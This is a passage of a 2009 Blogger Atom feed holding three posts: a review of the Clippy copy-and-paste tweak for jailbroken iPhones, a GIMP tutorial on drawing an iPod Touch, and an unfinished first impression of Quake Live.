xmlns:app="http://www.w3.org/2007/app">2009-05-24T14:39:39.898+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="iPhone apps review" /><category scheme="http://www.blogger.com/atom/ns#" term="iPod Touch/iPhone" /><title>Copy&amp;paste on the iPhone and iPod Touch with Clippy</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Have you ever thought of being able to copy&amp;amp;paste on iPhone or iPod Touch? Apple announced that this feature will be a part of the firmware 3.0, which will be introduced somewhen in summer. For those who can’t wait is here the Clippy app. This app enables you to copy&amp;amp;paste on the iPhone and also iPod Touch. The only limitation is that you have to have the Cydia app, which is only avalible on the jailbroken iPhones. You can’t find Clippy on the Appstore ‘cause Apple is against this kind of utilities.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PRlJONqI/AAAAAAAAARc/G23KbHDcuHM/s1600-h/1.png"&gt;&lt;img style="cursor: pointer; width: 275px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PRlJONqI/AAAAAAAAARc/G23KbHDcuHM/s400/1.png" alt="" id="BLOGGER_PHOTO_ID_5331645434812053154" border="0" /&gt;&lt;/a&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PRmj-FBI/AAAAAAAAARk/I67xBBFmfx4/s1600-h/2.png"&gt;&lt;img style="cursor: pointer; width: 275px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PRmj-FBI/AAAAAAAAARk/I67xBBFmfx4/s400/2.png" alt="" id="BLOGGER_PHOTO_ID_5331645435192677394" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PR5-1rxI/AAAAAAAAARs/Fy9PmwAtJa8/s1600-h/3.png"&gt;&lt;img style="cursor: pointer; width: 275px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PR5-1rxI/AAAAAAAAARs/Fy9PmwAtJa8/s400/3.png" alt="" id="BLOGGER_PHOTO_ID_5331645440405647122" border="0" /&gt;&lt;/a&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PR6g1vII/AAAAAAAAAR0/VVhmzQrccUg/s1600-h/4.png"&gt;&lt;img style="cursor: pointer; width: 275px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PR6g1vII/AAAAAAAAAR0/VVhmzQrccUg/s400/4.png" alt="" id="BLOGGER_PHOTO_ID_5331645440548256898" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;I’d now like to describe how to install it ‘cause I had some problems with finding it in Cydia. First, you need to have the iSpazio repo in your sources. If you don’t have it than go to Manage (in Cydia), click Edit and Add. Then use this source: http://ispaziorepo.com/cydia/apt and click Add source. After that go to Sections (the bottom menu in Cydia) and click Edit. Find the System cat and turn it ON. Now search for Clippy and it should appear.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;The usage of Clippy is pretty simple and intuitive (and also pretty awesome at the same time). Normally when you hold a finger on the screen, the magnifier appears. Holding the finger for a bit longer brings a menu where you can select whether you want to copy or paste or view the stack. The clipboard works through the applications. That means that you can copy some text from a web page and paste it into your notes and save.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/Sf3PSBBNQaI/AAAAAAAAAR8/Z266EfKG6po/s1600-h/5.png"&gt;&lt;img style="cursor: pointer; width: 275px; height: 400px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/Sf3PSBBNQaI/AAAAAAAAAR8/Z266EfKG6po/s400/5.png" alt="" id="BLOGGER_PHOTO_ID_5331645442294628770" border="0" /&gt;&lt;/a&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/Sf3P-EsndXI/AAAAAAAAASE/IcTXU-w5Hco/s1600-h/6.png"&gt;&lt;img style="cursor: pointer; width: 275px; height: 400px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/Sf3P-EsndXI/AAAAAAAAASE/IcTXU-w5Hco/s400/6.png" alt="" id="BLOGGER_PHOTO_ID_5331646199196251506" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3P-QYrFFI/AAAAAAAAASM/1vBeHNEpARs/s1600-h/7.png"&gt;&lt;img style="cursor: pointer; width: 275px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3P-QYrFFI/AAAAAAAAASM/1vBeHNEpARs/s400/7.png" alt="" id="BLOGGER_PHOTO_ID_5331646202333828178" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Obviously there were many hours spent on programming Clippy, so I'm quite curious with what Apple comes in the firmware 3.0&lt;/span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-6425374523517647459?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=rpNcDNRbnfo:Da7WiR2VjZY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=rpNcDNRbnfo:Da7WiR2VjZY:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=rpNcDNRbnfo:Da7WiR2VjZY:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=rpNcDNRbnfo:Da7WiR2VjZY:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=rpNcDNRbnfo:Da7WiR2VjZY:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=rpNcDNRbnfo:Da7WiR2VjZY:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=rpNcDNRbnfo:Da7WiR2VjZY:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/6425374523517647459/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=6425374523517647459" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/6425374523517647459?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/6425374523517647459?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/rpNcDNRbnfo/copy-on-iphone-and-ipod-touch-with.html" title="Copy&amp;paste on the iPhone and iPod Touch with Clippy" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_y9bIz6XDw14/Sf3PRlJONqI/AAAAAAAAARc/G23KbHDcuHM/s72-c/1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/05/copy-on-iphone-and-ipod-touch-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8HR3o7eip7ImA9WxJQEUs.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-89653315630450053</id><published>2009-04-09T12:53:00.012+02:00</published><updated>2009-05-24T14:40:36.402+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-24T14:40:36.402+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Gimp usage" /><category scheme="http://www.blogger.com/atom/ns#" term="iPod Touch/iPhone" /><title>Designing iPod Touch in Gimp!</title><content type="html">&lt;div style="text-align: justify; font-family: trebuchet ms;"&gt;&lt;span style="font-size:100%;"&gt;Today I'd like to show you how to design iPod Touch in Gimp. First of all I should say that iPod Touch doesn't look exactly the same as the iPhone. There are some differences in the appearance. Let's try to make it!&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;1)&lt;/span&gt; Open up Gimp and create a new document. It depends on the size of the picture because the iPod has some proportions and we don't want to break them. I chose 350x580.You should get a blank white picture.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;2)&lt;/span&gt; Select all (shortcut: ctrl+a) go to the menu and shrink the selection by 30px. Go to the selection menu and press the Rounded rectangle (30%).&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;3)&lt;/span&gt; Now you have still a blank picture but with a rounded selection in the middle. In this step we will fill it with a gradient. Create a new layer (call it Outer Border) and pick the gradient tool (shorcut: L). Use the default colors (black as the foreground and white as the background) and change the gradient shape to 'Radial'. Start in the middle and drag out of the picture. You should get something like this:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/Sd355xeIKAI/AAAAAAAAAOs/3NOTxTSbG6A/s1600-h/step1.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; cursor: pointer; width: 246px; height: 400px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/Sd355xeIKAI/AAAAAAAAAOs/3NOTxTSbG6A/s400/step1.png" alt="" id="BLOGGER_PHOTO_ID_5322685105549355010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;4)&lt;/span&gt; I hope you didn't cancel the rounded selection, otherwise you can delete the image and start again. Or you can also right-click the 'Outer Border' layer and select 'Alpha to selection' :)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;5)&lt;/span&gt; Create a new layer and call it Dark Border. Go to the menu and shrink the selection by 2px. Fill it with black (shortcut: shift+b)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/Sd3551fGYBI/AAAAAAAAAO0/F-_VgYbF4Xg/s1600-h/step2.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; cursor: pointer; width: 246px; height: 400px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/Sd3551fGYBI/AAAAAAAAAO0/F-_VgYbF4Xg/s400/step2.png" alt="" id="BLOGGER_PHOTO_ID_5322685106627174418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;6)&lt;/span&gt; Right-click the Dark Border layer and select 'Alpha to selection'. Shrink the selection by 2px and create a new layer called Light Gray. We are going to fill it with a gradient so pick the gradient tool (shortcut: L). Don't change the shape, it will be radial again.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;7)&lt;/span&gt; Now pick some light gray colors and again as in the 4th step, start in the middle and drag out of the canvas. I used #dcdcdc as the foreground color and #c6c6c6 as the background color. The result should look like this:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/Sd37YqJ7BVI/AAAAAAAAAPU/bH2pjcIrlZU/s1600-h/step3.png"&gt;&lt;img style="cursor: pointer; width: 246px; height: 400px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/Sd37YqJ7BVI/AAAAAAAAAPU/bH2pjcIrlZU/s400/step3.png" alt="" id="BLOGGER_PHOTO_ID_5322686735673132370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;8)&lt;/span&gt; Right-click the Light Gray layer and select the 'Alpha to selection' option. Shrink it by 1px. That's not all, we will play with the selection a little in this step. Pick the Rectangle select tool (shortcut: r) and click into the selection. Four handles should now appear (one in each corner); that means we can modify the selection. We will adjust the height of the picture (1px on the top and 1px on the bottom). This picture should say more:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/Sd37YvVcPqI/AAAAAAAAAPc/WGHMDpuTtfI/s1600-h/step4.png"&gt;&lt;img style="cursor: pointer; width: 245px; height: 400px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/Sd37YvVcPqI/AAAAAAAAAPc/WGHMDpuTtfI/s400/step4.png" alt="" id="BLOGGER_PHOTO_ID_5322686737063624354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;9)&lt;/span&gt; After the modification go to Select - Rounded Rectangle (30%) and fill it with black. This should you get:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sd37ZHNAj2I/AAAAAAAAAPk/EBOWuQQ_LSg/s1600-h/step5.png"&gt;&lt;img style="cursor: pointer; width: 246px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sd37ZHNAj2I/AAAAAAAAAPk/EBOWuQQ_LSg/s400/step5.png" alt="" id="BLOGGER_PHOTO_ID_5322686743470706530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;10)&lt;/span&gt; At this point we will make the Home button. Pick the Elipse select tool (shortcut: e) and make the selection in the bottom of the image, in the place where the home button should be. While making the selection I advice you to hold Shift 'cos it will make a circle not an elipse.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;11)&lt;/span&gt; After that create a new layer and call it Home Button. I prefer to fill it with white and than adjust the opacity but you can fill it directly with some gray color, that's up to you.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;12)&lt;/span&gt; The grey circle is fine but there is also a white square on the iPod. Same procedure as in the 10th step. I made another layer (Home Button #1) which isn't necessary. Pick the Rectangle select tool (shorcut: r), go to select - rounded rectangle (I used 50%) and fill it with white or whatever color you like. Than go to select, shrink it by 1px and click the delete button. Here is what I got:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/Sd37ZBF2CPI/AAAAAAAAAPs/PyR5PCbDY-Q/s1600-h/step6.png"&gt;&lt;img style="cursor: pointer; width: 246px; height: 400px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/Sd37ZBF2CPI/AAAAAAAAAPs/PyR5PCbDY-Q/s400/step6.png" alt="" id="BLOGGER_PHOTO_ID_5322686741830043890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;13) &lt;/span&gt;Attentive readers noticed that we forgot one necessary thing, it's the power button. There is nothing difficult about that. Create a new layer called Power button and move down under all layers (but above the Background layer).&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;14)&lt;/span&gt; Make a little rectangle selection (shortcut: r) and fill it with black (shortcut: shift+b). Than move it (shortcut: m) wherever you want.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;15)&lt;/span&gt; In the final step we will draw the display. Right-click the Inner Background layer and select 'Alpha to selection'. Pick the Rectangle select tool (shortcut: r). Hold ctrl+shift and select the area where the display should be, like on the picture below. Select a bit larger area, we will shrink it in the next step.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sd37ZZrTuHI/AAAAAAAAAP0/HzSNxQRi2yY/s1600-h/step7.png"&gt;&lt;img style="cursor: pointer; width: 319px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sd37ZZrTuHI/AAAAAAAAAP0/HzSNxQRi2yY/s400/step7.png" alt="" id="BLOGGER_PHOTO_ID_5322686748429629554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;16)&lt;/span&gt; As I said, we will shrink the area to get some distance between the display and the edge. Go to the menu Select and shrink it by 10px. I think 10px is ok, but again, it's up to you. Even at this point you can adjust the area how you want.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;17)&lt;/span&gt; After that create a new layer and call it Display. Fill it with white and adjust the opacity.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;And that's it. I know it's not 100% real but the first association should be the iPod. Here is my result:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sd38GXUT0PI/AAAAAAAAAP8/PYdTM97IjCI/s1600-h/step8.png"&gt;&lt;img style="cursor: pointer; width: 246px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sd38GXUT0PI/AAAAAAAAAP8/PYdTM97IjCI/s400/step8.png" alt="" id="BLOGGER_PHOTO_ID_5322687520890409202" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;And here is the same result with the background image:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/Sd38GscXqfI/AAAAAAAAAQE/oAYq4Ic707E/s1600-h/step9.png"&gt;&lt;img style="cursor: pointer; width: 246px; height: 400px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/Sd38GscXqfI/AAAAAAAAAQE/oAYq4Ic707E/s400/step9.png" alt="" id="BLOGGER_PHOTO_ID_5322687526561360370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;And here is the result with some additional adjustments. That means I added some gradients, shadows, lights and brushes:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/Sd38GnYUbYI/AAAAAAAAAQM/UFof6OiGtqM/s1600-h/step10.png"&gt;&lt;img style="cursor: pointer; width: 246px; height: 400px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/Sd38GnYUbYI/AAAAAAAAAQM/UFof6OiGtqM/s400/step10.png" alt="" id="BLOGGER_PHOTO_ID_5322687525202193794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Thanks for reading, I hope it was useful.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-89653315630450053?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=PhNmlwBqRew:Czwy5yENucc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=PhNmlwBqRew:Czwy5yENucc:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=PhNmlwBqRew:Czwy5yENucc:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=PhNmlwBqRew:Czwy5yENucc:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=PhNmlwBqRew:Czwy5yENucc:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=PhNmlwBqRew:Czwy5yENucc:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=PhNmlwBqRew:Czwy5yENucc:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/89653315630450053/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=89653315630450053" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/89653315630450053?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/89653315630450053?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/PhNmlwBqRew/designing-ipod-touch-in-gimp.html" title="Designing iPod Touch in Gimp!" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_y9bIz6XDw14/Sd355xeIKAI/AAAAAAAAAOs/3NOTxTSbG6A/s72-c/step1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/04/designing-ipod-touch-in-gimp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8DR3o8eyp7ImA9WxJQEUs.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-7974296412080260097</id><published>2009-03-29T17:07:00.017+02:00</published><updated>2009-05-24T14:41:16.473+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-24T14:41:16.473+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Gaming" /><category scheme="http://www.blogger.com/atom/ns#" term="Web applications" /><title>Quake Live - First Impression</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="font-family: trebuchet ms;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/Sc-s_b5NcpI/AAAAAAAAAOI/DN-Ig2bSEU8/s1600-h/ql_button_bigger.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 73px; height: 73px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/Sc-s_b5NcpI/AAAAAAAAAOI/DN-Ig2bSEU8/s400/ql_button_bigger.png" alt="" id="BLOGGER_PHOTO_ID_5318659890767295122" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;Introduction&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;The title of this article is Quake Live, let's start with a little background. ID Software, which stands behind the project Quake Live, is a video game development company. It was founded in &lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;the prehistoric computer age in 1991. ID Soft firstly shocked the world with the game Doom in 1993. Doom is the younger brother of Wolfenstein 3D with a lot of improvements on graphics, gameplay and effects. There still exists a no small community around Doom nowadays.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;Moving on, ID Soft released the first Quake in 1996. Thanks to the huge players' community ID Soft came out with Quake 2 in 1997 and two years later with Quake 3 Arena.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;span style="font-style: italic;"&gt;Quake Live: Capture the Flag:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/Sc-oauEm00I/AAAAAAAAAN4/HV0McUvsrXY/s1600-h/img14.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/Sc-oauEm00I/AAAAAAAAAN4/HV0McUvsrXY/s400/img14.jpg" alt="" id="BLOGGER_PHOTO_ID_5318654861945262914" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;span style="font-style: italic;"&gt;Quake Live: You have to hit the F3 button to start the match:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/Sc-oahzZahI/AAAAAAAAANw/MSXzjcT6DUk/s1600-h/img10.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/Sc-oahzZahI/AAAAAAAAANw/MSXzjcT6DUk/s400/img10.jpg" alt="" id="BLOGGER_PHOTO_ID_5318654858651855378" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;I suppose you all know the Q3A, it's a legendary game. Quake's main innovation is the capability to play a deathmatch (competitive gameplay between living opponents instead of against computer-run characters) over the Internet.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;Let's get back to &lt;a href="http://www.quakelive.com/"&gt;Quake Live&lt;/a&gt;. What is it and why do I write about it now? The answer is simple. ID Software again shows its power and introduces a browser-plugin based video game. In fact it's the old Quake 3 Arena &lt;span style="font-weight: bold;"&gt;running in your web broswer&lt;/span&gt; with loads of new features. It's based on the same engine as Doom3.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;Since late 2008 there was a invitation-only closed beta. On February 24 2009, the game progressed from closed beta to open beta. Within the first 6 hours after launch over 110,000 player accounts were created.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;Prepare to fight&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;You need to register to start playing. After that you receive an email with a link to continue (standard procedure). The browser-plugin starts the installation, which takes about 10 minutes. After the installation you are invited to the Quake Live by a female bot named Crash. She shows you the basic tricks. She speaks fluent and intelligible. After the speech you have to play a duel with her. It's because of the skill of players. You are automatically divided into a skill group after the match. This kinda guarantees you to have a good game with other players.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;I was really surprised by the graphics. Everything is perefectly same as in the Quake 3 Arena. I had a feeling that the graphics is even better. It's a feast for your eyes.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;span 